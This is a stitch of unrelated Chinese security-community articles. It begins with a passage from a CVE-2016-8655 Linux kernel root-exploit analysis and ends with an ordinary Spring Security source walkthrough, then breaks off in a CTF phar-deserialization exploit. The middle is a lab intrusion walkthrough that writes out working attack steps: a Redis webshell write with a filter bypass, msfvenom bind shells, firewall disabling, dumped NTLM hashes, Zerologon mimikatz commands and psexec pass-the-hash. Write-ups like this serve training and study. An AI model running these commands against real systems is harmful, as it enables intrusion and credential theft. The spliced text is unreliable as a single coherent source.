第二阶段是注册sysctl条目，指定内核参数为modprobe_path。具体方法是通过调用register_sysctl_table()函数来完成，调用参数就是上一阶段构造好的struct
ctl_table数据，调用成功后“/proc/sys”目录下会新生成名为ctl_table.
Procname的文件。此后通过改写该文件就能动态替换modprobe程序。
上述过程完成了两个功能，所以触发和利用漏洞也需要成功地进行两次，但如何将准确替换先前socket内部的timer呢？
堆喷射，通过循环调用add_key()函数（作者称此函数最稳定）在内核中分配内存，使用精心构造的exploit
buffer来填充，内核通过papcket_create()函数创建socket的结构数据struct sock，大小为1408字节。
但是POC调用kmalloc()函数时指定的payload长度为1384字节，为何？因为内核在调用add_key()函数时会先创建structuser_key_payload结构体，其大小为24字节，然后在它后面复制用户态payload数据，相关代码如下：
struct callback_head {
structcallback_head *next;
void(*func)(structcallback_head *head);
} __attribute__((aligned(sizeof(void*))));
#define rcu_headcallback_head
¡ ¡
struct user_key_payload {
structrcu_head rcu; /* RCU destructor */
unsignedshort datalen; /* length of this data */
char data[0]; /* actual data */
};
int user_preparse(structkey_preparsed_payload *prep)
{
structuser_key_payload *upayload;
size_t datalen = prep->datalen;
if(datalen <=< span="">0|| datalen>32767||!prep->data)
return-EINVAL;
upayload = kmalloc(sizeof(*upayload)+ datalen, GFP_KERNEL);
if(!upayload)
return-ENOMEM;
/* attach the data */
prep->quotalen = datalen;
prep->payload.data[0]= upayload;
upayload->datalen = datalen;
memcpy(upayload->data, prep->data, datalen);
return0;
}
此外，POC中构造的timer相对于exploitbuf的偏移为0x35e字节，如何得到？因为structuser_key_payload中成员data相对于结构体首地址的偏移为0x12字节，两者相加得0x370字节，恰好是timer在struct
packet_sock结构体中的偏移，覆盖前和覆盖后的内存对比如下图所示。
第三阶段创建root
shell。具体方法是首先更改“/proc/sys/hack”文件内容，达到替换modprobe程序的目的，然后触发内核执行替换后的modprobe程序，如何做到呢？POC通过调用socket()函数引用未被内核加载的网络驱动模块实现，如果内核当前未加载此模块，就会使用modprobe程序来加载它从而达到目的。其实，替换后的modprobe程序就是POC程序，当被内核执行时会更改文件属主为root，添加S权限位。最后，当普通用户再执行POC程序时它会创建root
shell。
readlink("/proc/self/exe",(char*)&buf,256);
write(fd,buf,strlen(buf)+1);
socket(AF_INET,SOCK_STREAM,132);
下图是完整的执行结果：
**
**
**4、参考引用**
[http://securityaffairs.co/wordpress/54168/hacking/cve-2016-8655-linux-kernel.html](http://securityaffairs.co/wordpress/54168/hacking/cve-2016-8655-linux-kernel.html)
[http://seclists.org/oss-sec/2016/q4/607](http://seclists.org/oss-sec/2016/q4/607)
<https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c>
**传送门** **：**[
**【漏洞预警】CVE-2016-8655:Linux内核通杀提权漏洞（21:45更新POC）**](http://bobao.360.cn/learning/detail/3267.html) | 社区文章 |
## 前言
本次靶场要求：
提示： <http://www.cocat.cc/web.zip>
四个 `root.txt` 分别在四台机子用户目录下 `拿到三个及格` `拿下四个满分`
## 代码审计 Getshell
首先是一个站：cocat.cc
通过提示把它的备份文件下载到了本地进行审计：<http://www.cocat.cc/web.zip>
## Bypass 突破执行命令
通过审计拿到了一个 webshell：<http://www.cocat.cc/kss_tool/_webup.php>
由于当前环境不能执行命令，函数都写死了：
通过翻文件翻到了 `Mysql` 的配置文件：
本想尝试 `Mysql udf` 提权绕过发现 `Mysql` 版本大于 `5.1` ：
### 拿到宝塔后台权限
由于当前 `web` 是宝塔搭建的:
通过翻文件找到了宝塔后台地址：
C:/BtSoft/panel/data/admin_path.pl
然后通过把宝塔的 `default.db` 文件下载到本地打开，`users` 表里就是宝塔的登陆账号密码：
`md5` 是肯定解密不出来的：
这个时候需要替换 `md5` 或者添加一个用户：
然后把文件保存，上传到目标宝塔目录下：
这个时候使用账号 `saulGoodmang` 密码 `123456` 去登陆：
手动把禁用的函数关闭：
然后给他来个重启：
命令执行强行绕过：
### 拿到第一个 root.txt
flag{moonsec-c20ad4d76fe97759aa27a0c99bff6710-1}
## 内网渗透一
通过查看进程发现有`火绒AV`：
随即做免杀上线到 `CS`：
发现当前内网应该是有其他主机存活的：
通过 `nbtscan` 发现内网还有一台主机存活：
通过 `fscan` 也扫描出来内网资产了：
为了进内网直接做了一个 `frp socks` 代理进去：
通过 `lengyi` 老哥的脚本绕过火绒添加了一个用户：
hacker 密码：P@ssw0rd
然后开启了它的 `3389`:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
为了方便我把 `shell` 弹到了`msf`：
然后抓到了 `hash`：（由于是 windows 2012 明文是抓不了的，只能抓 hash）
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:de935c6087ec367d3ef786915a4edcce:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hacker:1003:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
mysql:1002:aad3b435b51404eeaad3b435b51404ee:291376866817cf2ccfe198308e5f925b:::
www.saulgoodman.cn:1001:aad3b435b51404eeaad3b435b51404ee:894f353e870620b186a9a46ce56ac8f1:::
通过解密得到了 `administrator` 的密码：`QWEasd444`
### 内网横向移动-192.168.59.4
通过 `msf` 对内网进行扫描 `arp` 存活发现了几台机器：（之前没扫描出来应该是有防火墙）
post/windows/gather/arp_scanner
`192.168.59.1` 就不用看了是网关，`192.168.59.4` 就是内网另一台主机！
随后 `proxychains` \+ `nmap` 对 `192.168.59.4` 进行扫描探测端口服务：
proxychains nmap -sT -sV -Pn -n -p22,80,139,135,445,3306,1433,6379 192.168.59.4
发现开放的端口有：
`web` 页面的话倒是没啥：
看了看扫描出来 `6379` 应该是 `redis` 相关漏洞！
通过尝试 `redis` 未授权发现连接成功！
但是查看信息发现出错，应该是密码问题：
通过 `msf redis` 爆破模块爆破出了密码：
重新登陆 `redis`：
proxychains redis-cli -h 192.168.59.4 -p 6379 -a 123456789qq
登陆成功！现在要想拿到权限首先我们不知道网站路径（写不了一句话 ），但是知道当前网站使用的是 `IIS`，那么 `IIS` 默认目录是：
C:\Inetpub\wwwroot
设想会不会是这个目录呢？随即写了一个 `aspx` 的 `shell` 到 `IIS` 默认目录：
192.168.59.4:6379> config set dir C:/inetpub/wwwroot/
OK
192.168.59.4:6379> config set dbfilename 1.aspx
OK
192.168.59.4:6379> set x '<%execute(request("x"))%>' //注意这里要用单引号
OK
192.168.59.4:6379> save
发现写入不了，随后设置了读写权限 ：
config set slave-read-only on
然后发现读写可以了：
再来写一遍 `webshell`：
发现是 `404`，写 `asp` 是 `500`，应该是什么东西拦截了。
随后 `bypass` 测试，可以通过这样绕过：（单引号中间要带空格）
set x ' <%execute(request("x"))%> '
拿到 webshell：<http://192.168.59.4/a.asp>
## 内网渗透二
通过发现当前机器是不出网的，而且权限还很小：
发现当前机器上权限太小任何文件都上传不了：
通过找到了一个可读可写目录：
C:\ProgramData\VMware\logs\
并且当前机器上无任何杀软：
随即坏土豆提权成功：
拿到第二个 flag：
flag{moonsec-b6d767d2f8ed5d21a44b0e5886680cb9-2}
随即添加了一个 `asp.net` 管理员用户进去：
### 内网渗透-10.10.10.202
通过对内网进行存活探测发现内网存活了三台：`10.10.10.201`、`10.10.10.202`（本机）、`10.10.10.209`:
for /l %i in (1,1,255) do @ ping 10.10.10.%i -w 1 -n 1 | find /i "ttl="
随后关闭它防火墙：
netsh advfirewall set allprofiles state off
然后 `MSF` 生成`正向 shell`：
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=9099 -f exe >/root/9099.exe
目标运行 `9090.exe`：
随后 `MSF` 上线：
`hashdump` 解密得到了密码：`QWEasd1122`:
紧接着开了它的远程桌面：（之前添加了一个 `asp.net` 用户，方便后续好登陆桌面 ）
run post/windows/manage/enable_rdp
通过 `nbtcan` 发现 `10.10.10.201`（DC）、`10.10.10.209` 是域环境：
得想办法拿到一台域机器
对他们进行扫描端口发现他们都开放了 `web` 服务：
其中 `10.10.10.209` 还是一个 `Outlook Web App`（微软的邮件组件）`Exchange` ：
但是我们没有账号，这个时候我在 `Redis` 上找到了 `pts` 文件：
C:\Users>for /r c:\ %i in (*.pst) do @echo %i
for /r c:\ %i in (*.pst) do @echo %i
c:\Documents and Settings\Administrator\Documents\Outlook \[email protected]
c:\Documents and Settings\Administrator\Documents\Outlook \[email protected] - test.pst
c:\Documents and Settings\Administrator\My Documents\Outlook \[email protected]
c:\Documents and Settings\Administrator\My Documents\Outlook \[email protected] - test.pst
c:\Users\Administrator\Documents\Outlook \[email protected]
c:\Users\Administrator\Documents\Outlook \[email protected] - test.pst
c:\Users\Administrator\My Documents\Outlook \[email protected]
c:\Users\Administrator\My Documents\Outlook \[email protected] - test.pst
知道了两个用户邮箱：`[email protected]`、`[email protected]`
然后把文件都下载到本地，进行后续利用（发现都失败了）
### CVE-2020-1472 拿到域控
之后发现他域控存在 `CVE-2020-1472` 域内提权漏洞：（需要 20200918 之后的 mimikatz 才可以使用）
privilege::debug
lsadump::zerologon /target:10.10.10.201 /account:12SERVER-DC$
lsadump::zerologon /target:10.10.10.201 /account:12server-dc$ /exploit
导出所有域内用户凭证：
python3 secretsdump.py cncat/[email protected] -no-pass
cncat.cc\Administrator:500:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387:::
拿到域控和 `flag`：
利用 `msf psexec` 上线：
msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- ----------- RHOSTS 10.10.10.201 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain cncat no The Windows domain to use for authentication
SMBPass aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387 no The password for the specified username
SMBUser Administrator no The username to authenticate as
Payload options (windows/x64/meterpreter/bind_tcp_rc4):
Name Current Setting Required Description
---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4446 yes The listen port
RC4PASSWORD msf yes Password to derive RC4 key from
RHOST 10.10.10.201 no The target address
Exploit target:
Id Name
-- ---- 0 Automatic
msf6 exploit(windows/smb/psexec) > run
[*] 10.10.10.201:445 - Connecting to the server...
NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo, or similar instead. It will be removed in the next Major version
[*] 10.10.10.201:445 - Authenticating to 10.10.10.201:445|cncat as user 'Administrator'...
[*] 10.10.10.201:445 - Selecting PowerShell target
[*] 10.10.10.201:445 - Executing the payload...
[+] 10.10.10.201:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 10.10.10.201:4446
NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo, or similar instead. It will be removed in the next Major version
[*] Sending stage (200266 bytes) to 10.10.10.201
[*] Meterpreter session 5 opened (0.0.0.0:0 -> 180.215.199.206:22222) at 2021-06-02 06:35:22 +0000
meterpreter >
然后通过令牌窃取身份切换为域管：
然后通过和域机器 `10.10.10.209` 建立 `IPC`：
至此最后一个 `flag` 也拿到：
至此本次考核完毕！
## 总结
对于红队成员来说最重要的就是渗透不能有短板，各种漏洞都应该去复现一遍，由于我 `Exchange`
的漏洞未复现导致卡了很长时间，最后还是使用暴力的手段拿到域控，在真实环境中很危险，很有可能导致域控的密码恢复不了！哦豁，那你就等着跑路吧！
## 结尾
**若有好的建议和错误可以通过评论区评论！ | 社区文章 |
# Spring Security学习笔记（一）基础介绍Ⅱ
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
[Spring Security学习笔记（一）基础介绍I](https://www.anquanke.com/post/id/172803)
作者：Dayeh@小米安全中心 首席音乐家
## Spring Security 5.1.4 RELEASE
书接上文，在上一篇中介绍了Spring Security的基本组件以及基本的认证流程，此篇介绍一下Spring Security的一些核心服务。
## 2 核心服务
Spring Security中还有许多十分重要的接口，特别是AuthenticationManager, UserDetailsService
和AccessDecisionManager，Spring
Security提供了一些实现，用户亦可自己实现定制的认证授权机制。下面我们来具体看一下几个接口及Spring
Security提供的实现，从而有助于了解在认证授权环节中它们的具体作用，以及如何使用。
### 2.1 AuthenticationManager, ProviderManager and AuthenticationProvider
AuthenticationManger是一个接口，用来完成认证的逻辑，开发者可按照自己的项目设计需求进行实现。如果，我们希望能够组合使用多种认证服务，比如基于数据库和LDAP服务器的认证服务，Spring
Security也是支持的。
ProviderManager是Spring
Security提供的一个实现，但是它本身不处理认证请求，而是将任务委托给一个配置好的AuthenticationProvider的列表，其中每一个AuthenticationProvider按序确认能否完成认证，每个provider如果认证失败，会抛出一个异常，如果认证通过，则会返回一个Authentication对象。
**AuthenticationManager**
AuthenticationManger是一个接口，其中只有一个方法authenticate，用来尝试对传入的Authentication对象进行认证。
这里保留了源码中的一大段注释，其中包括了该接口的作用，以及在实现时应当注意的一些问题，这里不多做叙述，我们目前只需要了解这个接口的作用即可，感兴趣的同学可以自行阅读源码中的注释。
/**
* Processes an {@link Authentication} request.
*
* @author Ben Alex
*/
public interface AuthenticationManager {
// ~ Methods
// ========================================================================================================
/**
* Attempts to authenticate the passed {@link Authentication} object, returning a
* fully populated <code>Authentication</code> object (including granted authorities)
* if successful.
* <p>
* An <code>AuthenticationManager</code> must honour the following contract concerning
* exceptions:
* <ul>
* <li>A {@link DisabledException} must be thrown if an account is disabled and the
* <code>AuthenticationManager</code> can test for this state.</li>
* <li>A {@link LockedException} must be thrown if an account is locked and the
* <code>AuthenticationManager</code> can test for account locking.</li>
* <li>A {@link BadCredentialsException} must be thrown if incorrect credentials are
* presented. Whilst the above exceptions are optional, an
* <code>AuthenticationManager</code> must <B>always</B> test credentials.</li>
* </ul>
* Exceptions should be tested for and if applicable thrown in the order expressed
* above (i.e. if an account is disabled or locked, the authentication request is
* immediately rejected and the credentials testing process is not performed). This
* prevents credentials being tested against disabled or locked accounts.
*
* @param authentication the authentication request object
*
* @return a fully authenticated object including credentials
*
* @throws AuthenticationException if authentication fails
*/
Authentication authenticate(Authentication authentication)
throws AuthenticationException;
}
**ProviderManager**
ProviderManager是Authentication的一个实现，并将具体的认证操作委托给一系列的AuthenticationProvider来完成，从而可以实现支持多种认证方式。为了帮助阅读和理解源码具体做了什么，这里删除了原来的一部分注释，并对重要的部分进行了注释说明。
public class ProviderManager implements AuthenticationManager, MessageSourceAware,
InitializingBean {
private static final Log logger = LogFactory.getLog(ProviderManager.class);
private AuthenticationEventPublisher eventPublisher = new NullEventPublisher();
private List<AuthenticationProvider> providers = Collections.emptyList();
protected MessageSourceAccessor messages = SpringSecurityMessageSource.getAccessor();
private AuthenticationManager parent;
private boolean eraseCredentialsAfterAuthentication = true;
/**
* 用List<AuthenticationProvider>初始化一个ProviderManager
* 也就是上文提到的，ProviderManager将具体的认证委托给不同的provider，从而支持不同的认证方式
*/
public ProviderManager(List<AuthenticationProvider> providers) {
this(providers, null);
}
/**
* 也可以为其设置一个父类
*/
public ProviderManager(List<AuthenticationProvider> providers,
AuthenticationManager parent) {
Assert.notNull(providers, "providers list cannot be null");
this.providers = providers;
this.parent = parent;
checkState();
}
public void afterPropertiesSet() throws Exception {
checkState();
}
private void checkState() {
if (parent == null && providers.isEmpty()) {
throw new IllegalArgumentException(
"A parent AuthenticationManager or a list "
+ "of AuthenticationProviders is required");
}
}
/**
* ProviderManager的核心方法，authentication方法尝试对传入的Authentication对象进行认证，传入的Authentication是
* 以用户的提交的认证信息，比如用户名和密码，创建的一个Authentication对象。
*
* 会依次询问各个AuthenticationProvider，当provider支持对传入的Authentication认证，
* 便会尝试使用该provider进行认证。如果有多个provider都支持认证传入的Authentication对象，
* 则只会使用第一个支持的provider进行认证。
*
* 一旦有一个provider认证成功了，便会忽略之前任何provider抛出的异常，之后的provider也不会再
* 继续认证的尝试。
*
* 如果所有provider都认证失败，方法则会抛出最后一个provider抛出的异常。
*/
public Authentication authenticate(Authentication authentication)
throws AuthenticationException {
Class<? extends Authentication> toTest = authentication.getClass();
AuthenticationException lastException = null;
AuthenticationException parentException = null;
Authentication result = null;
Authentication parentResult = null;
boolean debug = logger.isDebugEnabled();
// 依次使用各个provider尝试进行认证
for (AuthenticationProvider provider : getProviders()) {
// 如果provider不支持对传入的Authentication进行认证，则跳过。
if (!provider.supports(toTest)) {
continue;
}
if (debug) {
logger.debug("Authentication attempt using "
+ provider.getClass().getName());
}
try {
// 调用provider的authenticate方法进行认证
result = provider.authenticate(authentication);
// 如果认证成功，则将authentication中用户的细节信息复制到result中
// 然后跳出循环，不再尝试后面其他的provider
if (result != null) {
copyDetails(authentication, result);
break;
}
}
catch (AccountStatusException e) {
prepareException(e, authentication);
// 如果待认证的账号信息无误，但是账号本身异常，比如账号停用了，则抛出AccountStatusException异常，
// 并通过prepareException方法，发布一个AbstractAuthenticationFailureEvent，避免继续尝试其他provider进行认证
throw e;
}
catch (InternalAuthenticationServiceException e) {
prepareException(e, authentication);
throw e;
}
catch (AuthenticationException e) {
// 如果该provider认证失败，捕获异常AuthenticationException后不抛出，继续尝试下一个provider
// lastException会记录下最后一个认证失败的provider抛出的AuthenticationException异常。
lastException = e;
}
}
if (result == null && parent != null) {
// 如果所有provider都没能认证成功，则交给父类尝试认证
try {
result = parentResult = parent.authenticate(authentication);
}
catch (ProviderNotFoundException e) {
// 父类如果抛出该异常不做处理，因为后面有对子类抛出该异常的处理
}
catch (AuthenticationException e) {
// 父类也没能认证成功，则最后一个异常为来自父类认证失败的异常
lastException = parentException = e;
}
}
if (result != null) {
if (eraseCredentialsAfterAuthentication
&& (result instanceof CredentialsContainer)) {
// 认证成功，从Authentication中删除密码秘钥等敏感信息
((CredentialsContainer) result).eraseCredentials();
}
// 如果父类认证成功，则会发布一个AuthenticationSuccessEvent，
// 这一步检查，防止子类重复发布
if (parentResult == null) {
eventPublisher.publishAuthenticationSuccess(result);
}
//返回的result为一个Authentication，其中包含了已认证用户的信息
return result;
}
if (lastException == null) {
lastException = new ProviderNotFoundException(messages.getMessage(
"ProviderManager.providerNotFound",
new Object[] { toTest.getName() },
"No AuthenticationProvider found for {0}"));
}
// 如果父类认证失败，会发布一个AbstractAuthenticationFailureEvent
// 这一步检查，防止子类重复发布
if (parentException == null) {
prepareException(lastException, authentication);
}
throw lastException;
}
@SuppressWarnings("deprecation")
private void prepareException(AuthenticationException ex, Authentication auth) {
eventPublisher.publishAuthenticationFailure(ex, auth);
}
/**
* 从source中复制用户的信息到dest
*
* Copies the authentication details from a source Authentication object to a
* destination one, provided the latter does not already have one set.
*
* @param source source authentication
* @param dest the destination authentication object
*/
private void copyDetails(Authentication source, Authentication dest) {
if ((dest instanceof AbstractAuthenticationToken) && (dest.getDetails() == null)) {
AbstractAuthenticationToken token = (AbstractAuthenticationToken) dest;
token.setDetails(source.getDetails());
}
}
public List<AuthenticationProvider> getProviders() {
return providers;
}
public void setMessageSource(MessageSource messageSource) {
this.messages = new MessageSourceAccessor(messageSource);
}
public void setAuthenticationEventPublisher(
AuthenticationEventPublisher eventPublisher) {
Assert.notNull(eventPublisher, "AuthenticationEventPublisher cannot be null");
this.eventPublisher = eventPublisher;
}
/**
* 设置是否要在认证完成后，让Authentication调用自己的eraseCredentials方法来清除密码信息。
*
* If set to, a resulting {@code Authentication} which implements the
* {@code CredentialsContainer} interface will have its
* {@link CredentialsContainer#eraseCredentials() eraseCredentials} method called
* before it is returned from the {@code authenticate()} method.
*
* @param eraseSecretData set to {@literal false} to retain the credentials data in
* memory. Defaults to {@literal true}.
*/
public void setEraseCredentialsAfterAuthentication(boolean eraseSecretData) {
this.eraseCredentialsAfterAuthentication = eraseSecretData;
}
public boolean isEraseCredentialsAfterAuthentication() {
return eraseCredentialsAfterAuthentication;
}
private static final class NullEventPublisher implements AuthenticationEventPublisher {
public void publishAuthenticationFailure(AuthenticationException exception,
Authentication authentication) {
}
public void publishAuthenticationSuccess(Authentication authentication) {
}
}
}
至此可以看到，ProviderManager的认证逻辑还是很简单清晰的，我们也可以比较清楚理解AuthenticationManager，ProviderManager和AuthenticationProvider的关系了。
**AuthenticationProvider**
AuthenticationProvider也是一个接口，用来完成具体的认证逻辑。不同的认证方式有不同的实现，Spring
Security中提供了多种实现，包括DaoAuthenticationProvider,AnonymousAuthenticationProvider和LdapAuthenticationProvider等。其中最简单的DaoAuthenticationProvider会在后面介绍，首先来看一下AuthenticationProvider的源码。同样的，保留了源码中的注释，感兴趣的同学可以细读，这里只做简单的介绍。
可以看到，AuthenticationProvider中只有2个方法：
* authenticate完成具体的认证逻辑，如果认证失败，抛出AuthenticationException异常
* supports判断是否支持传入的Authentication认证信息
/**
* Indicates a class can process a specific
* {@link org.springframework.security.core.Authentication} implementation.
*
* @author Ben Alex
*/
public interface AuthenticationProvider {
// ~ Methods
// ========================================================================================================
/**
* Performs authentication with the same contract as
* {@link org.springframework.security.authentication.AuthenticationManager#authenticate(Authentication)}
* .
*
* @param authentication the authentication request object.
*
* @return a fully authenticated object including credentials. May return
* <code>null</code> if the <code>AuthenticationProvider</code> is unable to support
* authentication of the passed <code>Authentication</code> object. In such a case,
* the next <code>AuthenticationProvider</code> that supports the presented
* <code>Authentication</code> class will be tried.
*
* @throws AuthenticationException if authentication fails.
*/
Authentication authenticate(Authentication authentication)
throws AuthenticationException;
/**
* Returns <code>true</code> if this <Code>AuthenticationProvider</code> supports the
* indicated <Code>Authentication</code> object.
* <p>
* Returning <code>true</code> does not guarantee an
* <code>AuthenticationProvider</code> will be able to authenticate the presented
* instance of the <code>Authentication</code> class. It simply indicates it can
* support closer evaluation of it. An <code>AuthenticationProvider</code> can still
* return <code>null</code> from the {@link #authenticate(Authentication)} method to
* indicate another <code>AuthenticationProvider</code> should be tried.
* </p>
* <p>
* Selection of an <code>AuthenticationProvider</code> capable of performing
* authentication is conducted at runtime the <code>ProviderManager</code>.
* </p>
*
* @param authentication
*
* @return <code>true</code> if the implementation can more closely evaluate the
* <code>Authentication</code> class presented
*/
boolean supports(Class<?> authentication);
}
**DaoAuthenticationProvider**
DaoAuthenticationProvider是Spring
Security提供的最简单的一个AuthenticationProvider的实现，也是框架中最早支持的。它使用UserDetailsService作为一个DAO来查询用户名、密码以及用户的权限GrantedAuthority。它认证用户的方式就是简单的比较UsernamePasswordAuthenticationToken中由用户提交的密码和通过UserDetailsService查询获得的密码是否一致。
下面我们来看一下DaoAuthenticationProvider的源码，对于源码的说明也写在了注释中。
DaoAuthenticationProvider继承了AbstractUserDetailsAuthenticationProvider，而后者实现了AuthenticationProvider接口。
public class DaoAuthenticationProvider extends AbstractUserDetailsAuthenticationProvider {
/**
* The plaintext password used to perform
* PasswordEncoder#matches(CharSequence, String)} on when the user is
* not found to avoid SEC-2056.
*/
private static final String USER_NOT_FOUND_PASSWORD = "userNotFoundPassword";
private PasswordEncoder passwordEncoder;
/**
* The password used to perform
* {@link PasswordEncoder#matches(CharSequence, String)} on when the user is
* not found to avoid SEC-2056. This is necessary, because some
* {@link PasswordEncoder} implementations will short circuit if the password is not
* in a valid format.
*/
private volatile String userNotFoundEncodedPassword;
private UserDetailsService userDetailsService;
private UserDetailsPasswordService userDetailsPasswordService;
public DaoAuthenticationProvider() {
setPasswordEncoder(PasswordEncoderFactories.createDelegatingPasswordEncoder());
}
@SuppressWarnings("deprecation")
protected void additionalAuthenticationChecks(UserDetails userDetails,
UsernamePasswordAuthenticationToken authentication)
throws AuthenticationException {
// 用户未提交密码，抛出异常BadCredentialsException
if (authentication.getCredentials() == null) {
logger.debug("Authentication failed: no credentials provided");
throw new BadCredentialsException(messages.getMessage(
"AbstractUserDetailsAuthenticationProvider.badCredentials",
"Bad credentials"));
}
// 从传入了Authentication对象中获取用户提交的密码
String presentedPassword = authentication.getCredentials().toString();
// 用passwordEncoder的matches方法，比较用户提交的密码和userDetails中查询到的正确密码。
// 由于用户密码的存放一般都是hash后保密的，因此userDetails获取到的密码一般是一个hash值，而用户提交
// 的是一个明文密码，因此需要对用户提交的密码进行同样的hash计算后再进行比较。
if (!passwordEncoder.matches(presentedPassword, userDetails.getPassword())) {
logger.debug("Authentication failed: password does not match stored value");
throw new BadCredentialsException(messages.getMessage(
"AbstractUserDetailsAuthenticationProvider.badCredentials",
"Bad credentials"));
}
}
protected void doAfterPropertiesSet() throws Exception {
Assert.notNull(this.userDetailsService, "A UserDetailsService must be set");
}
protected final UserDetails retrieveUser(String username,
UsernamePasswordAuthenticationToken authentication)
throws AuthenticationException {
prepareTimingAttackProtection();
try {
UserDetails loadedUser = this.getUserDetailsService().loadUserByUsername(username);
if (loadedUser == null) {
throw new InternalAuthenticationServiceException(
"UserDetailsService returned null, which is an interface contract violation");
}
return loadedUser;
}
catch (UsernameNotFoundException ex) {
mitigateAgainstTimingAttack(authentication);
throw ex;
}
catch (InternalAuthenticationServiceException ex) {
throw ex;
}
catch (Exception ex) {
throw new InternalAuthenticationServiceException(ex.getMessage(), ex);
}
}
@Override
protected Authentication createSuccessAuthentication(Object principal,
Authentication authentication, UserDetails user) {
boolean upgradeEncoding = this.userDetailsPasswordService != null
&& this.passwordEncoder.upgradeEncoding(user.getPassword());
if (upgradeEncoding) {
String presentedPassword = authentication.getCredentials().toString();
String newPassword = this.passwordEncoder.encode(presentedPassword);
user = this.userDetailsPasswordService.updatePassword(user, newPassword);
}
return super.createSuccessAuthentication(principal, authentication, user);
}
private void prepareTimingAttackProtection() {
if (this.userNotFoundEncodedPassword == null) {
this.userNotFoundEncodedPassword = this.passwordEncoder.encode(USER_NOT_FOUND_PASSWORD);
}
}
private void mitigateAgainstTimingAttack(UsernamePasswordAuthenticationToken authentication) {
if (authentication.getCredentials() != null) {
String presentedPassword = authentication.getCredentials().toString();
this.passwordEncoder.matches(presentedPassword, this.userNotFoundEncodedPassword);
}
}
/**
* Sets the PasswordEncoder instance to be used to encode and validate passwords. If
* not set, the password will be compared using {@link PasswordEncoderFactories#createDelegatingPasswordEncoder()}
*
* @param passwordEncoder must be an instance of one of the {@code PasswordEncoder}
* types.
*/
public void setPasswordEncoder(PasswordEncoder passwordEncoder) {
Assert.notNull(passwordEncoder, "passwordEncoder cannot be null");
this.passwordEncoder = passwordEncoder;
this.userNotFoundEncodedPassword = null;
}
protected PasswordEncoder getPasswordEncoder() {
return passwordEncoder;
}
public void setUserDetailsService(UserDetailsService userDetailsService) {
this.userDetailsService = userDetailsService;
}
protected UserDetailsService getUserDetailsService() {
return userDetailsService;
}
public void setUserDetailsPasswordService(
UserDetailsPasswordService userDetailsPasswordService) {
this.userDetailsPasswordService = userDetailsPasswordService;
}
}
**AbstractUserDetailsAuthenticationProvider**
可以看到DaoAuthenticationProvider继承自AbstractUserDetailsAuthenticationProvider,
而一个provider最核心的authenticate方法，便写在了AbstractUserDetailsAuthenticationProvider中，下面我们只关注一下authenticate这个方法的源码。
public Authentication authenticate(Authentication authentication)
throws AuthenticationException {
Assert.isInstanceOf(UsernamePasswordAuthenticationToken.class, authentication,
() -> messages.getMessage(
"AbstractUserDetailsAuthenticationProvider.onlySupports",
"Only UsernamePasswordAuthenticationToken is supported"));
// 从传入的Authentication对象中获取用户名
String username = (authentication.getPrincipal() == null) ? "NONE_PROVIDED"
: authentication.getName();
// 根据用户名，从缓存中获取用户的UserDetails
boolean cacheWasUsed = true;
UserDetails user = this.userCache.getUserFromCache(username);
if (user == null) {
cacheWasUsed = false;
// 如果从缓存中没有获取到用户，则通过方法retrieveUser来获取用户信息
// retrieve方法为一个抽象方法，不同的子类中有不同的实现，而在子类中，一般又会通过UserDetailService来获取用户信息，返回UserDetails
try {
user = retrieveUser(username,
(UsernamePasswordAuthenticationToken) authentication);
}
catch (UsernameNotFoundException notFound) {
logger.debug("User '" + username + "' not found");
if (hideUserNotFoundExceptions) {
throw new BadCredentialsException(messages.getMessage(
"AbstractUserDetailsAuthenticationProvider.badCredentials",
"Bad credentials"));
}
else {
throw notFound;
}
}
Assert.notNull(user,
"retrieveUser returned null - a violation of the interface contract");
}
try {
preAuthenticationChecks.check(user);
// additionalAuthenticationChecks为具体的认证逻辑，是一个抽象方法，在子类中实现。
// 比如前文中DaoAuthenticationProvider中，便是比较用户提交的密码和UserDetails中的密码
additionalAuthenticationChecks(user,
(UsernamePasswordAuthenticationToken) authentication);
}
catch (AuthenticationException exception) {
if (cacheWasUsed) {
// There was a problem, so try again after checking
// we're using latest data (i.e. not from the cache)
cacheWasUsed = false;
user = retrieveUser(username,
(UsernamePasswordAuthenticationToken) authentication);
preAuthenticationChecks.check(user);
additionalAuthenticationChecks(user,
(UsernamePasswordAuthenticationToken) authentication);
}
else {
throw exception;
}
}
postAuthenticationChecks.check(user);
if (!cacheWasUsed) {
this.userCache.putUserInCache(user);
}
Object principalToReturn = user;
if (forcePrincipalAsString) {
principalToReturn = user.getUsername();
}
return createSuccessAuthentication(principalToReturn, authentication, user);
}
可以看到在DaoAuthenticationProvider中还用到UserDetailsService来查询用户的密码权限信息，并包装为UserDetails返回，然后与用户提交的用户名密码信息进行比较来完成认证。UserDetailsService和UserDetails在不同的provider中都会被用到，关于这两个接口的说明，在下一篇文章中介绍。
## 总结
最后我们总结一下这几个接口和类
这些类和接口之间的关系，大致可以用下图进行表示 | 社区文章 |
# web
## web-day1
### web1
EXP
利用User的__destruct的close()调用File的close()
<?php
class File{
public $filename = "/flag.txt";
}
class User {
public $db;
}
class FileList {
public $files;
}
$o = new User();
$o->db =new FileList();
$o->db->files=array(new File());
@unlink("phar.phar");
